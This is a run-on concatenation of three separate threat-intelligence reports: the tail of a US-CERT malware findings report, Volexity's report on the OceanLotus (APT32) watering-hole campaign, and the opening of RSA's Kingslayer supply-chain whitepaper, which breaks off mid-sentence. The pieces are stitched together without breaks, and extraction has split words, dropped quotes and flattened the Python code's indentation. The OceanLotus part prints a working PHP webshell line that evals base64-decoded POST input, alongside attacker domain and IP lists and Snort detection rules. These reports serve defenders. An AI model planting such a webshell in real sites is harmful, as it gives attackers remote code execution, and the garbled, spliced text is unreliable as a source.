+one2shoppee.com
+ritsoperrol.ru
+littjohnwilhap.ru
+wilcarobbe.com
+mymodule.waterfilter.in.ua/system/logs/xtool.exe
+176.114.0.157
+US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their
+organization's systems:
+Maintain up-to-date antivirus signatures and engines.
+Restrict users' ability (permissions) to install and run unwanted software applications.
+Enforce a strong password policy and implement regular password changes.
+Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
+Keep operating system patches up-to-date.
+Enable a personal firewall on agency workstations.
+Disable unnecessary services on agency workstations and servers.
+Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the
+file header).
+Monitor users' web browsing habits; restrict access to sites with unfavorable content.
+Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
+Scan all software downloaded from the Internet prior to executing.
+Maintain situational awareness of the latest threats; implement appropriate ACLs.
+Contact Information
+1-888-282-0870
+soc@us-cert.gov (UNCLASS)
+us-cert@dhs.sgov.gov (SIPRNET)
+us-cert@dhs.ic.gov (JWICS)
+US-CERT continuously strives to improve its products and services. You can help by answering a very short series of questions about this
+product at the following URL: https://forms.us-cert.gov/ncsd-feedback/
+Document FAQ
+What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In
+most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact
+US-CERT and provide information regarding the level of desired analysis.
+Can I distribute this to other people? This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when
+information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
+US-CERT MIFR-10105049-Update2
+62 of 63
+Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document
+should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or soc@us-cert.gov.
+Can I submit malware to US-CERT? US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, poss ble
+malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.uscert.gov. Malware samples can be submitted via https://malware.us-cert.gov. Alternative submission methods are available by special
+request.
+US-CERT MIFR-10105049-Update2
+63 of 63
+OceanLotus Blossoms: Mass Digital Surveillance and
+Attacks Targeting ASEAN, Asian Nations, the Media, Human
+Rights Groups, and Civil Society
+www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-themedia-human-rights-and-civil-society/
+November 6, 2017
+by Dave Lassalle, Sean Koessel, Steven Adair
+In May 2017, Volexity identified and started tracking a very sophisticated and extremely
+widespread mass digital surveillance and attack campaign targeting several Asian nations, the
+ASEAN organization, and hundreds of individuals and organizations tied to media, human rights
+and civil society causes. These attacks are being conducted through numerous strategically
+compromised websites and have occurred over several high-profile ASEAN summits. Volexity has
+tied this attack campaign to an advanced persistent threat (APT) group first identified as
+OceanLotus by SkyEye Labs in 2015. OceanLotus, also known as APT32, is believed to be a
+Vietnam-based APT group that has become increasingly sophisticated in its attack tactics,
+techniques, and procedures (TTPs). Volexity works closely with several human rights and civil
+society organizations. A few of these organizations have specifically been targeted by
+OceanLotus since early 2015. As a result, Volexity has been able to directly observe and
+investigate various attack campaigns. This report is based on a very targeted attack that Volexity
+observed and the research that followed.
+1/20
+Key highlights of this most recent and ongoing attack campaign by the OceanLotus group are as
+follows:
+Massive digital profiling and information collection campaign via strategically compromised
+websites
+Over 100 websites of individuals and organizations tied to Government, Military, Human
+Rights, Civil Society, Media, State Oil Exploration, and more used to launch attacks around
+the globe
+Use of whitelists to target only specific individuals and organizations
+Custom Google Apps designed for gaining access to victim Gmail accounts to steal e-mail
+and contacts
+Strategic and targeted JavaScript delivery to modify the view of compromised websites to
+facilitate social engineering of visitors to install malware or provide access to e-mail
+accounts
+Large distributed attack infrastructure spanning numerous hosting providers and countries
+Numerous attacker created domains designed to mimic legitimate online services and
+organizations such as AddThis, Disqus, Akamai, Baidu, Cloudflare, Facebook, Google, and
+others
+Heavy uses of Let
+s Encrypt SSL/TLS certificates
+Use of multiple backdoors, such as Cobalt Strike and others, believed to be developed and
+solely used by OceanLotus
+Volexity believes the size and scale of this attack campaign have only previously been rivaled by
+a Russian APT group commonly referred to as Turla and documented in a report from Symantec
+called The Waterbug attack group. The OceanLotus threat group has successfully operated,
+largely unnoticed, through several high-profile websites since late 2016. Volexity has observed
+the following operating pattern for the OceanLotus group:
+Compromise website of strategic importance (e.g. websites visitors have a higher likelihood
+to be targets of interest)
+Add one or more webshell backdoors to victim websites to maintain persistence
+Webshell used to add JavaScript developed by OceanLotus into the website
+The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains
+to typically load one of two different OceanLotus frameworks
+OceanLotus JavaScript frameworks designed to track, profile, and target the compromised
+website
+s visitors
+Website visitors of interest are flagged for targeting and receive special JavaScript aimed at
+compromising the user
+s system or e-mail accounts
+Volexity has also noted that some of the organizations with compromised websites have also
+been targeted with spear phishing campaigns that attempt to install backdoors on the target
+systems. Spear phishing activity and detailed malware infrastructure will be described in a follow
+on report on OceanLotus activity.
+Compromised Sites
+2/20
+Volexity has been able to identify a staggeringly large number of websites that have been
+strategically compromised by the OceanLotus attackers. The number of compromised websites
+exceeds 100. The overwhelming majority of the websites that have been compromised belong to
+Vietnamese individuals and organizations that are critical of the Vietnamese Government. The
+remainder of the compromised websites are tied to one of three countries that share a land
+border with Vietnam or the Philippines. Unlike with the Vietnamese victims, in most cases these
+websites are tied to state owned or affiliated organizations.
+Vietnam
+Volexity has chosen not to list the Vietnamese websites that have been compromised, as the
+quantity is exceedingly large (over 80) and many of them are tied to individuals or very small
+organizations. However, the list below characterizes the types of websites that have been
+victimized to facilitate this ongoing campaign.
+Human Rights
+Civil Society
+News/Media (English and Vietnamese Language)
+Individual Bloggers
+Religion
+ASEAN
+Organization
+Website
+Compromised Page
+Association of Southeast Asian
+Nations (ASEAN)
+asean.org
+/modules/aseanmail/js/wp-mailinglist.js
+/modules/wordpresspopup/inc/external/wpmu-lib/js/wpmuui.3.min.js
+ASEAN Trade Repository
+atr.asean.org
+Main Index
+ASEAN Investment
+investasean.asean.org
+Main Index
+Organization
+Website
+Compromised Page
+Ministry of Foreign Affairs
+www.mfa.gov.kh
+/jwplayer.js
+Ministry of Environment
+www.moe.gov.kh
+/other/js/jquery/jquery.js
+Ministry of Civil Service
+www.mcs.gov.kh
+Main Index
+National Police
+www.police.gov.kh
+/wp-includes/js/jquery/jquery.js?ver=1.12.4
+Ministry of National AssemblySenate Relations and Inspection
+www.monasri.gov.kh
+wtemplates/monasri_template/js/menu/mega.js
+Ministry of Social Affairs, Veterans,
+and Youth Rehabilitation
+www.mosvy.gov.kh
+/public/js/default.js
+National Election Committee
+www.necelect.org.kh
+Main Index
+Cambodia
+3/20
+China
+Organization
+Website
+Compromised Page
+BDStar Information Service Co.
+bdstarlbs.com
+Main Index
+BDStar Navigation Co.
+www.navchina.com
+Main Index
+China National United Oil Corporation
+www.chinaoil.com.cn
+/chinaoil/xhtml/js/jquery-1.7.2.min.js
+China Oilfield Services Limited
+Withheld
+Withheld
+China National Offshore Oil Corporation
+Withheld
+Withheld
+Laos
+Organization
+Website
+Compromised Page
+Bokeo Province
+bokeo.gov.la
+Main Index
+Ministry of Public Works and Transport
+www.mpwt.gov.la
+/media/system/js/mootools-core.js
+Philippines
+Organization
+Website
+Compromised Page
+Armed Forces of the Philippines
+www.afp.mil.ph
+/modules/mod_js_flexslider/assets/js/jquery.easing.js
+Office of the President
+op-proper.gov.ph
+Main Index
+JavaScript Tracking, Profiling, and Delivery Frameworks
+The compromised websites are being leveraged to deliver malicious JavaScript designed to
+profile and fingerprint a user on each visit. Volexity found that OceanLotus had developed two
+different JavaScript frameworks to accomplish their profiling and targeting activities. For the
+purposes of this blog, we will call them Framework A and Framework B. With few exceptions,
+the compromised websites would only have code loading either Framework A or Framework B.
+Each of the hostnames and IPs were also tied to one of the two frameworks, with none of them
+serving up both. The following sections will provide some detail on the two frameworks and their
+multiple scripting components.
+Framework A
+Framework A is found on a limited number of victim sites. Initial URLs for access to Framework A
+are typically formatted similar to the following:
+cloudflare-api[.]com/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=72580
+Volexity believes the v= value is unique and serves as a victim site identifier, which may not be
+necessary given the data the script sends along as detailed below. The above script is retrieved
+4/20
+following a visit to asean.org. The following code has been appended to legitimate JavaScript
+loaded by the ASEAN website:
+Framework A, Script 1 
+ Host Tracking
+The first script delivered contains several support functions such as an MD5 function, a base64
+decoder, and functions for loading additional data. The goal of this script appears to be defining
+everything needed to track a host across different requests.
+This script defines a section of variables used in other parts of the code. The host based ones are
+obtained from the User-Agent in the initial request.
+Then it will load a second JavaScript file:
+The h1 and h2 values in the request are MD5 hashes of some information about the host making
+the request. The first hash, h1, is the MD5 hash of various pieces of information collected from
+the browser and concatenated together.
+5/20
+The second hash, h2, is also an MD5 hash, but the values concatenated are the screen height
+and width, timezone, plugins, MIME type, and language information.
+The encrypt function simply iterates over the passed string and key string and adds the ASCII
+values at each position. Python scripts for encrypting and decrypting are as follows.
+Encrypt:
+#!/usr/bin/env python
+import base64
+import sys
+b64_data = base64.b64encode(sys.argv[2])
+key = sys.argv[1]
+enc_data = ""
+for i, x in enumerate(b64_data):
+k = key[i % len(key) -1]
+enc_data += chr(ord(x) + ord(k))
+print
+print base64.b64encode(enc_data)
+print
+6/20
+Decrypt:
+#!/usr/bin/env python
+import base64
+import sys
+key = sys.argv[1]
+b64_data = sys.argv[2]
+enc_data = base64.b64decode(b64_data)
+dec_data = ""
+for i, x in enumerate(enc_data):
+k = key[i % len(key) -1]
+dec_data += chr(ord(x) - ord(k))
+print
+print base64.b64decode(dec_data)
+print
+Framework A, Script 2 
+ Profiling
+The second script returned starts by defining a browser_hash variable. This is composed of h1
+and the first 10 characters of h2, separated by 
+. This script then sends three GET requests,
+each with a d parameter in the query string that contains some encrypted and base64 encoded
+data.
+One request sends 
+Browser Plugins.
+ The info is collected in the following part of the code:
+Another request sends 
+Extended Browser Info.
+ This info is collected as follows:
+The final request sends 
+WebRTC
+ info to obtain the host IP address.
+7/20
+Framework B
+Framework B is found on the vast majority of sites. Initial URLs for access to Framework B are
+simply references to JavaScript (.js) files on OceanLotus controlled sites. Volexity has found that
+the URLs from Framework B do not actually matter, so long as the file extension ends in .js and a
+referrer is sent with the request. The JavaScript will be sent back regardless of the file or folder
+requested as long as it meets these two criteria.
+The main ASEAN website is one of the few places that contain both Framework A and
+Framework B.
+The following code has also been appended to legitimate JavaScript loaded by the ASEAN
+website:
+This script will result in the loading of JavaScript from the following URL:
+http://ad.jqueryclick[.]com/assets/adv.js
+Framework B, Script 1 
+ Host Tracking
+The second framework collects similar information, but handles host tracking differently. The initial
+script that is delivered varies based on the host OS as determined from the User-Agent in the
+request. When the script is loaded, it first makes a GET request to https://health-rayid[.]com/robot.txt. This returns a UUID that is sent in subsequent requests as either zuuid or
+client_zuuid.It is also saved in localStorage for the compromised site under a key of x00Sync.
+The script then makes two GET requests.
+Request 1:
+GET /api/<BASE64_ENCODED_DATA>/adFeedback.js
+The base64 data decodes to a JSON string containing information for tracking the host. For
+8/20
+example, the data below, where zuuid is the UUID returned from health-ray-id.com.
+{"uuid":"62d096b35e82547b6a12607c2820f8e0","zuuid":"ca3a8d02-a0f5-4686-9f6bcab4a17a9e2b","hash":""}
+The uuid value (also seen as client_uuid in later requests) is also generated by the script and is
+stored in a cookie named ___APISID for the compromised domain. It is generated using
+the fingerprintjs2 library, which creates a hash based on browser information. This is another
+method for tracking users across requests. This library and several other legitimate JavaScript
+libraries (including the jQuery core library and others for reading/storing cookies, collecting
+timezone data, etc.) are typically downloaded from a CDN URL and saved into localStorage
+variables to be later used by the script. They are stored as hex encoded data in a function called
+x00Config.
+If the client is not on the OceanLotus whitelist, this request just returns a single line of JavaScript
+setting a variable named timestamp. However, when the client is on the whitelist, Volexity has
+observed a popup window that slowly fades in on top of the legitimate website. In a recent attack,
+the popup appeared Google related and would redirect to a Google OAuth page designed to fool
+the user into providing access to their account to a malicious Google App. More details on this
+appear further down in this post.
+Request 2:
+GET /sync/<BASE64 _ENCODED_DATA/img_blank.gif
+This request contains two pieces of information: a history section and a navigator section. The
+history section contains information about the compromised site that the JavaScript was loaded
+from. It also contains certain information about the host including the User-Agent, time and
+timezone, and IP addresses.
+The navigator section is blank the first time the request is made. When the script is first run, it
+records the current time in another localStorage variable. It only populates the navigator section
+if 24 hours have passed. It will also update the stored timestamp. This means the large section of
+data in the navigator section is only sent once per day, even if this compromised site is visited
+multiple times. This section includes a lot of the same information collected by Framework A,
+including MIME Types, plugins, and screen information. Below are a few portions of the data
+collected and sent back to the OceanLotus servers.
+9/20
+10/20
+Framework B, Script 2 
+ Popup for Whitelisted Systems
+As mentioned above, if a system is not on the whitelist, the GET
+/api/<BASE64_ENCODED_DATA>/adFeedback.js request will just return a timestamp variable.
+For a whitelisted system, a new script is delivered. A portion of this script shown below makes a
+request to download some additional config data.
+11/20
+The domain for the request is loaded from the SAPIS_ID cookie which was set by the first script.
+Before storing, it is split in two, the two substrings are reversed, then it is base64 encoded. An
+example of the SAPIS_ID cookie can be seen in the navigator section above. This ultimately
+calls the e.fn_getjson() function that makes a request like the following:
+GET /connect.js?
+timestamp=59ba12f2eb1e240cd9431624&code=rtp&s1=64c6e32b951adc4f3d5661dba2330141
+This returns a JSON config like the following:
+These are saved and accessed via a getConfigs() function for different actions the script can
+perform.
+Ultimately, the script presents a popup over the site saying the content is blocked and requests
+12/20
+that the visitor sign in to continue. The code below presents this page and tracks progress using
+the postShow() and postDown() functions, which send GET requests using the URLs shown
+above. When one of the buttons is clicked, the user is redirected to login to the application.
+Whitelisted Targeting for Google Account Access
+Volexity was able to work with organizations on the OceanLotus whitelist that received special
+responses from Framework B. As a result, Volexity was able to directly observe two different
+OceanLotus attacks that attempted to fool the targeted user into providing access to their Google
+Accounts. OceanLotus attempts to compromise Google Accounts by prompting the user with a
+popup directing them to provide OAuth authorizations to a malicious Google App.
+Once a user has been flagged for targeting, they will receive a popup when accessing an
+OceanLotus compromised website once every 24 hours. This popup slowly fades in over top of
+the legitimate website and appears quite legitimate. Screen shots of two different observed
+popups are shown below.
+Version 1: Locked Content
+13/20
+Version 2: Chrome Sign In
+Regardless of which option the user clicks, they are redirected to Google to initiate OAuth access
+to one of OceanLotus
+ Google Apps. Below is a screen shot of what a user would see prior to
+authorizing the the nefarious Google App.
+14/20
+OceanLotus Google App OAuth
+If the targeted user chooses ALLOW, the OceanLotus Google App immediately logs into the
+account and starts accessing it. The account has permissions to access all e-mail and contacts,
+which is all the access OceanLotus needs to conduct digital surveillance. Volexity strongly
+recommends that anyone that thinks they may have been targeted with this campaign or similar
+attacks review the Defense Against Ocean Lotus section below.
+OceanLotus is also known to be distributing malware in the form of fake Internet Explorer,
+Chrome, and Firefox updates. Volexity has observed similar attacks via spear phishing against
+targeted organizations that leverage some of the same malware infrastructure. In these cases,
+the following Amazon S3 buckets were used to distribute the malware through JavaScript as part
+of OceanLotus Framework B or direct links from spear phishing campaigns.
+15/20
+dload01.s3.amazonaws.com
+download-attachments.s3.amazonaws.com
+Volexity has observed multiple custom malware families and Cobalt Strike delivered through
+these campaigns. Details on the observed malware samples are forthcoming.
+Victim Websites Backdoored
+Volexity has worked with multiple victim organizations to assist with incident response efforts and
+to remedy their compromised systems. This process lead to the identification of different ways the
+OceanLotus group gains access to the compromised websites and how they maintain access.
+Initial Compromise
+Volexity has observed OceanLotus compromising sites one of two ways:
+1. Direct user account access to the website
+s content management system (CMS)
+2. Exploitation of outdated plugins and/or CMS components
+It is currently unknown how the intruders gain working credentials to the victim websites. Based
+on the TTPs leveraged by OceanLotus, it is possible that credentials could have been socially
+engineered (phished) from the victims or that the system administrators have been backdoored
+and a keylogger has assisted in capturing the login credentials. Alternatively, it is possible that
+some of the credentials were simply guessed. Several of the Vietnamese websites are running
+on Google
+s Blogspot platform, so it is reasonable to believe that those users
+ Google accounts
+may be compromised. In the case of exploitation, the CMS software used by the victim
+organizations was often woefully out of date. Both the core components and added plugins had
+remotely exploitable vulnerabilities that lead to compromise.
+Persistent Access
+In all examined cases, OceanLotus attackers added PHP webshells to the victim websites. In
+most cases, the intruders added a new file that was designed to blend in with the web directory in
+which it was placed. In some cases, Volexity observed OceanLotus adding PHP code to an
+existing legitimate file already on the webserver.
+if(@$_POST['<variable-1>']&&@md5(md5($_POST['<variable-2>']))=='<md5 hash>')
+$x="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";@eval($x($_POST['<variable1>']));exit();
+The hex code storage in $x translates to base64_decode. This code checks to see if variable-1
+is set and then validates whether the MD5 of the MD5 of the value set for variable-2 matches an
+expected MD5 hash. If these both evaluate as true, the contents of variable-1 are base64
+decoded and evaluated on the system. This is a simple webshell that, similar to a China Chopper
+shell, allows direct execution on the system under the privileges of the account running the
+webserver. The OceanLotus intruders use these shells to interact with the system and update
+their JavaScript code on the various websites.
+16/20
+OceanLotus also appears to have a potentially automated process that periodically checks if the
+webshells are still present on the victim systems.
+Campaign Infrastructure
+Volexity has identified a vast and sprawling amount of infrastructure leveraged by OceanLotus as
+a part of this strategic web compromise campaign. There are even more indicators associated
+with various malware campaigns that Volexity will detail in another OceanLotus post to follow.
+OceanLotus
+s attack infrastructure has several unique characteristics, which makes it easy to
+identify if a particular system is under their control. As a result, Volexity was able to identify
+numerous systems that were not directly observed in active attacks but are strongly believed to
+be tied to OceanLotus. In the sections below, the infrastructure has been separated into active
+and inactive/unknown categories. If the infrastructure is listed as active, this means that Volexity
+has directly observed the hostname
+s use in an attack. If the infrastructure is listed as
+inactive/unknown, this means that Volexity found evidence the hostname was used in a past
+attack but is no longer in use or it has never been observed in a direct attack but has unique
+characteristics indicative of OceanLotus infrastructure.
+Active
+Hostname
+IPv4 Address
+IPv6 Address
+a.doulbeclick.org
+45.76.147.201
+2001:19f0:4400:48ea:5400:ff:fe71:3201
+ad.adthis.org
+45.77.39.101
+2001:19f0:4400:48fd:5400:ff:fe71:3202
+ad.jqueryclick.com
+64.62.174.146
+api.querycore.com
+64.62.174.41
+browserextension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com
+79.143.87.174
+cdn-js.com
+128.199.227.80
+cdn.adsfly.co
+45.32.100.179
+2001:19f0:4400:4798:5400:ff:fe71:3200
+cdn.disqusapi.com
+45.76.179.28
+2001:19f0:4400:4989:5400:ff:fe71:3204
+cloudflare-api.com
+45.32.105.45
+cory.ns.webjzcnd.com
+139.59.223.191
+googlescripts.com
+45.114.117.164
+health-ray-id.com
+138.197.236.215
+2604:a880:2:d0::378c:e001
+hit.asmung.net
+45.32.114.49
+jquery.google-script.org
+45.32.105.45
+js.ecommer.org
+45.76.179.151
+2001:19f0:4400:48fd:5400:ff:fe71:3202
+s.jscore-group.com
+64.62.174.17
+17/20
+s1.gridsumcontent.com
+103.28.44.112
+s1.jqueryclick.com
+64.62.174.145
+ssl.security.akamaihd-d.com
+37.59.198.131
+stat.cdnanalytic.com
+203.114.75.22
+stats.widgetapi.com
+64.62.174.99
+track-google.com
+203.114.75.73
+update.security.akamaihd-d.com
+89.33.64.207
+update.webfontupdate.com
+188.166.219.18
+2400:6180:0:d0::4315:d001
+wiget.adsfly.co
+45.32.100.179
+2001:19f0:4400:4798:5400:ff:fe71:3200
+www.googleuserscontent.org
+139.59.217.207
+2400:6180:0:d0::4315:7001
+Inactive/Unknown Status
+Volexity was able to identify a substantial amount of infrastructure that belongs to OceanLotus
+that is setup in a manner consistent with the above hostnames. However, Volexity has not
+directly observed attacks leveraging these hostnames.
+Hostname
+IPv4 Address
+IPv6 Address
+ad.linksys-analytic.com
+64.62.174.16
+ads.alternativeads.net
+45.77.39.101
+2001:19f0:4400:48fd:5400:ff:fe71:3202
+api.2nd-weibo.com
+64.62.174.146
+api.analyticsearch.org
+64.62.174.41
+api.baiduusercontent.com
+79.143.87.174
+api.disquscore.com
+128.199.227.80
+api.fbconnect.net*
+sinkholed
+cache.akamaihd-d.com
+89.33.64.232
+cloud.corewidget.com
+139.59.217.207
+2400:6180:0:d0::4315:7001
+core.alternativeads.net
+139.59.220.12
+2400:6180:0:d0::4315:9001
+d3.advertisingbaidu.com
+139.59.223.191
+eclick.analyticsearch.org
+64.62.174.21
+google-js.net
+45.32.105.45
+google-js.org
+45.32.105.45
+google-script.net
+45.32.105.45
+gs.baidustats.com
+103.28.44.115
+18/20
+linked.livestreamanalytic.com
+139.59.220.10
+2400:6180:0:d0::4315:8001
+linksys-analytic.com
+64.62.174.17
+live.webfontupdate.com
+188.166.219.18
+2400:6180:0:d0::4315:d001
+static.livestreamanalytic.com
+139.59.220.10
+2400:6180:0:d0::4315:8001
+stats.corewidget.com
+139.59.217.207
+2400:6180:0:d0::4315:7001
+update.akamaihd-d.com
+37.59.198.130
+update.webfontupdate.com
+188.166.219.18
+2400:6180:0:d0::4315:d001
+upgrade.liveupdateplugins.com
+128.199.90.216
+2400:6180:0:d0::4315:c001
+widget.jscore-group.com
+64.62.174.9
+Defending Against OceanLotus
+While the described attack campaign relies on fooling a user, the popups on the websites are
+quite convincing and legitimate looking. As a result, Volexity would recommend immediately
+putting in blocks or sinkholes for the domains and IP addresses listed above to prevent profiling
+and possible exploitation. The observed attacks thus far have relied on social engineering
+campaigns; however, it would be trivial for OceanLotus to introduce an exploit into this chain. As
+for malware indicators, Volexity will be providing additional data related to malware and backdoor
+infrastructure in a future write-up to follow soon.
+When it comes to Google accounts, Volexity would recommend that users enable the2-Step
+Authentication. This is an effective way to prevent access to a Google account should the
+password be compromised. However, in the case of this OceanLotus campaign, the attackers are
+leveraging a Google App that has OAuth authorized access to the victim
+s e-mail and contacts.
+This effectively bypasses 2-Step authentication as a result. Users should be very careful to only
+authorize legitimate and known Google Apps. Users can verify what Google Apps have access to
+their account by visiting the following URL:
+https://myaccount.google.com/u/1/permissions
+This will list the Google Apps with access to the account along with their permission levels. It is
+possible to defend against unauthorized applications and increase a Google Accounts security
+through the Google Advanced Protection Program as well
+Users can further verify what Google Apps and devices are accessing their account via the
+following steps:
+Log into Gmail from a web browser via https://mail.google.com
+Scroll to the bottom of the page and click Details to see a list of recent accesses to the
+account
+If any access stands out as coming from an unauthorized application or address, the guidance in
+19/20
+the steps on the following page should be reviewed:
+https://support.google.com/mail/answer/7036019
+Finally, for website administrators, the key recommendations are as follows:
+Use strong passwords for CMS and system authentication
+Restrict access to the system and CMS functionality as much as possible (limited users,
+ACLs, etc.)
+Implement two-factor (2FA) where possible
+Keep operating systems, CMS software, and CMS plugins up-to-date
+Disable or remove any accounts that are no longer needed or are unrecognized
+Network Signatures
+In addition to the domains and IP addresses, the following network signatures can be used to
+detect various OceanLotus profiling and targeting activity.
+alert http $HOME_NET any -> $EXTERNAL_NET any (msg:
+Volex 
+ OceanLotus JavaScript Load
+(connect.js)
+; flow:to_server,established; content:
+; http_method; content:
+connect.js?
+timestamp=
+; http_uri; sid:2017083001; )
+alert http $EXTERNAL_NET any -> $HOME_NET any (msg:
+Volex 
+ OceanLotus JavaScript Fake
+Page URL Builder Response
+; flow:to_client,established; file_data;content:
+{|22|link|22|:|22|http
+depth:13; file_data; content:
+|22|load|22|
+; sid:2017083002; rev:1;)
+alert http $EXTERNAL_NET any -> $HOME_NET any (msg:
+Volex 
+ OceanLotus System
+Profiling JavaScript (linkStorage.x00SOCKET)
+; flow:to_client,established; file_data;
+content:
+linkStorage.x00SOCKET
+; sid:2017083003;)
+Conclusion
+Volexity believes the OceanLotus threat group has rapidly advanced its capabilities and is now
+one of the more sophisticated APT actors currently in operation. While Volexity does not typically
+engage in attempting attribution of any threat actor, Volexity does agree with previously reported
+assessments that OceanLotus is likely operating out of Vietnam. This is largely due to the
+extreme and wide-scale nature of certain targeting that would be extremely unlikely to align with
+the interests of those outside of Vietnam. As a result, Volexity believes that OceanLotus has been
+rapidly developing a highly skilled and organized computer network exploitation (CNE) capability.
+20/20
+WHITEPAPER
+KINGSLAYER
+ A SUPPLY
+CHAIN ATTACK
+RSA RESEARCH
+CONTENTS
+Content and liability disclaimer
+Executive summary
+Summary
+Targeted takedown of Codoso malware
+Unexpected finding
+A backdoor in product used by sysadmins
+Targeted takedown and sinkholing of www.oraclesoft[.]net
+An irresistible enticement for Kingslayer actors
+Eleven and a half weeks
+Kingslayer connections to Codoso and Shell_Crew
+Recalling another software supply-chain attack
+Kingslayer
+s memory-resident brother, the K2 Trojan
+Why software supply-chain attacks are here to stay
+Software vendors, and sysadmins on notice
+How was the Kingslayer investigation informed?
+Detection of Kingslayer, and the next software supply chain attack
+How to investigate if you might have been compromised by Kingslayer
+Conclusion
+Acknowledgements
+Annex 1: Kingslayer Indicators of Compromise (IOCs)
+Appendix A: Event log analyzer application service executable analysis
+Appendix B: Select forensic findings from an enterprise admin
+s machine
+infected with Kingslayer and the K2 secondary malware
+CONTENT AND LIABILITY DISCLAIMER
+This Research Paper is for general information purposes only, and should not be used as a
+substitute for consultation with professional advisors. RSA Security LLC, EMC Corporation,
+Dell, Inc. and their affiliates (collectively, 
+) have exercised reasonable care in the collecting,
+processing, and reporting of this information but have not independently verified, validated, or
+audited the data to verify the accuracy or completeness of the information. RSA shall not be
+responsible for any errors or omissions contained on this Research Paper, and reserves the right
+to make changes anytime without notice. Mention of non-RSA products or services is provided
+for informational purposes only and constitutes neither an endorsement nor a recommendation
+by RSA. All RSA and third-party information provided in this Research Paper is provided on an 
+ basis. RSA DISCLAIMS ALL WARRANTIES, EXPRESSED OR IMPLIED, WITH REGARD TO ANY
+INFORMATION (INCLUDING ANY SOFTWARE, PRODUCTS, OR SERVICES) PROVIDED IN THIS
+RESEARCH PAPER, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. Some jurisdictions do
+not allow the exclusion of implied warranties, so the above exclusion may not apply to you. In no
+event shall RSA be liable for any damages whatsoever, and in particular RSA shall not be liable for
+direct, special, indirect, consequential, or incidental damages, or damages for lost profits, loss of
+revenue or loss of use, cost of replacement goods, loss or damage to data arising out of the use or
+inability to use any RSA website, any RSA product or service. This includes damages arising from
+use of or in reliance on the documents or information present on this Research Paper, even if RSA
+has been advised of the possibility of such damages.
+Copyright 
+ 2017 Dell Inc. or its subsidiaries. All Rights Reserved. Dell, EMC, RSA and other
+trademarks are trademarks of Dell Inc. or its subsidiaries. Other trademarks may be the property
+of their respective owners. Published in the USA February 2017.
+EXECUTIVE SUMMARY
+RSA Research investigated the source of suspicious, observed beaconing
+thought to be associated with targeted malware. In the course of this tactical hunt for unidentified code, RSA discovered a sophisticated attack on
+a software supply-chain involving a Trojan inserted in otherwise legitimate
+software; software that is typically used by enterprise system administrators.
+We are sharing details of this attack investigation, along with mitigation and
+detection strategies, to promote awareness and preparation for future or
+ongoing software supply-chain attacks.
+SUMMARY
+In notable aviation incidents, aviation experts are charged to perform an
+investigation and share the findings in incident reports. Pilot trainers, airlines
+and aircraft manufacturers dig into the investigation reports with the goal of
+preventing such an incident from happening again. These reports and their
+ostensive goal, preventing an incident involving loss of life, have been the
+foundation of what is arguably the safest form of transportation. Policies, procedures and aircraft themselves are now safer than ever. Likewise, network
+defenders may dig into breach reports with the aim of preventing the next loss
+of valuable business information from the networks for which they are responsible. Helping to prevent the next loss of business or mission critical information from a sophisticated exploitation campaign is, at least, one of the major
+goals of this report. You might notice we did not say prevention of compromise. After reading this report, it will be obvious that preventing the advanced
+enterprise compromise represented by Kingslayer, would be difficult for any
+network defender. Preventing such types of compromises from sophisticated actors has always been challenging. The analysts behind this Kingslayer
+research project subscribe to the philosophy that detecting and responding to
+a compromise, before it leads to business risk, is an achievable goal.
+In this Kingslayer post-mortem report, RSA Research describes a sophisticated software application supply chain attack that may have otherwise gone
+unnoticed by its targets. This attack is different in that it appears to have
+specifically targeted Windows
+ operating system administrators of large and,
+perhaps, sensitive organizations. These organizations appeared on a list of
+customers still displayed on the formerly subverted software vendor
+s website. Nearly two years after the Kingslayer campaign was initiated, we still do
+not know how many of the customers listed on the website may have been
+breached, or possibly are still compromised, by the Kingslayer perpetrators.
+A NOTE ABOUT
+ATTRIBUTION
+The malware and activities
+described in the Kingslayer
+post-mortem report shares code,
+tactics and unique malware
+artifacts with a large amount
+of other malware employed by
+actors in campaigns attributed to
+various named threat groups. RSA
+Research has, for years, dubbed
+this group of common tools and
+tactics Shell_Crew, since the first
+RSA Shell_Crew report released
+TARGETED TAKEDOWN OF CODOSO MALWARE
+Early in our investigation of, and takedown operation against, a broad exploitation campaign we call Schoolbell1 , RSA Research observed unidentified beaconing to the URL www.oraclesoft[.]net2. We did not know what was causing
+the beaconing, but we suspected it was malware. This URL resolved to an IP
+address that, at the time, also resolved to another known malicious domain.
+This additional, malicious domain, google-dash[.]com3 , was used for command
+and control (C2) by a variant of PGV_PVID malware that had no antivirus (AV)
+coverage at the time it was submitted to VirusTotal in April 2016 (Figure 1). For
+more information on the malware behind this broad exploitation campaign, we
+recommend reading the Schoolbell report.
+in 2014.
+However, shared malware
+development supply and
+infrastructure does not
+necessarily indicate that the
+espionage-focused actors behind
+the keyboards in this campaign,
+are all the same people as
+campaigns analyzed by other
+researchers. Refer to the section
+Kingslayer connections to
+Codoso and Shell_Crew
+ for more
+details.
+s important to note threat
+actors often use domains which
+look like popular, well known
+domains, even going so far to
+temporarily 
+park
+ them on IP
+addresses associated with the
+legitimate entities 
+ but they
+have no link to the legitimate
+domain or company, as is the case
+throughout this research.
+Figure 1. Zero out of fifty five antivirus solutions detected this malware at time of first submission
+http://blogs.rsa.com/schoolbell-class-is-in-session
+s important to note threat actors often use domains which look like well-known domains but
